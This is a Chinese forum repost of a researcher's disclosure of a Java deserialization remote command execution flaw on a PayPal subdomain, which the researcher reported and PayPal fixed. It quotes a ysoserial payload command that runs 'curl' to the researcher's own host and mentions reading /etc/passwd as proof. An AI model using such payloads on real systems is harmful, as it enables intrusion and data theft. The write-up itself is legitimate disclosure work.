请选择 进入手机版 | 继续访问电脑版
查看: 1847|回复: 5

PayPal远程命令执行漏洞分析

[复制链接]
  • TA的每日心情

    11 小时前
  • 签到天数: 902 天

    [LV.10]以坛为家III

    发表于 2016-1-26 21:26:39 | 显示全部楼层 |阅读模式
    本帖最后由 90_ 于 2016-1-27 12:36 编辑

    2015年12月,笔者在PayPal的某个分站中发现了一个能够远程执行任意shell命令的java反序列化漏洞,并且能够影响到PayPal的产品数据库。我马上将该漏洞提交给了PayPal,并且很快得到了修复。
      漏洞细节
      
      在测试manager.paypal.com这个站点时,我的注意力被post提交中的不寻常的参数“oldForm”所吸引,这个参数的内容就像是base64解码后的复杂对象。
      在经过一些研究之后,我意识到这就是能被应用处理的没有经过签名的java序列化对象。这意味着你能将存在的class序列化后提交给服务器,然后“readObject”(或者“readResolve”)方法会被调用来解析该序列化的对象。为了利用这个漏洞,你需要在应用的 “classpath” 中找到一个能被序列化的合适的class,并且能被“readObject”所解析。你可以从FoxGlove Security的文章中了解更多相关的技术细节。一年前,Chris Frohoff和Gabriel Lawrence在Apache Common Collection这个库中发现了能够导致远程命令执行的合适的classes,然后也发布了“ysoserial”这个payload生成器。

    漏洞证明
      我马上下载了上面说到的这个工具,然后生成了一个简单的payload,这个payload会执行“curl x.s.artsploit.com/paypal”这个shell命令,然后会发送DNS和http请求到我自己的服务器。
      
      然后我在post请求的“oldFormData”参数中填入base64编码后的payload,发送给了服务器。在那之后,令我印象深刻的是在我的NGINX access log中发现了来自PayPal 的请求。
      
      我意识到我能在manager.paypal.com这个服务器上执行任意的命令,甚至我能反弹一个shell权限到我自己的服务器,然后上传和执行一个后门程序。结果会是通过manager.paypal.com这个网站,我能获取到paypal的production数据库。
      但是我没有像上面说的那么去做,我只是读取了“/etc/passwd”的内容作为漏洞的验证。
      我还捣鼓了一个如果复现该漏洞的视频提交给了PayPal安全团队。然后,我还发现了manager.paypal.com的其他很多地方也使用了序列化对象,并且能够被利用。
      
      Demo视频


      *原文地址:artsploit
    回复

    使用道具 举报

  • TA的每日心情
    擦汗
    2016-1-26 22:18
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2016-1-26 22:32:09 | 显示全部楼层
    学习了~
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2016-1-28 22:31
  • 签到天数: 1 天

    [LV.1]初来乍到

    发表于 2016-1-26 23:27:40 | 显示全部楼层
    学习了!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2020-8-11 18:49
  • 签到天数: 322 天

    [LV.8]以坛为家I

    发表于 2016-1-27 11:09:53 | 显示全部楼层
    厉害
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2016-2-20 11:24
  • 签到天数: 20 天

    [LV.4]偶尔看看III

    发表于 2016-1-28 22:22:08 | 显示全部楼层
    学习了~              
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    奋斗
    2020-8-8 21:30
  • 签到天数: 112 天

    [LV.6]常住居民II

    发表于 2016-2-26 21:38:50 | 显示全部楼层
    学习了~
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    快速回复 返回顶部 返回列表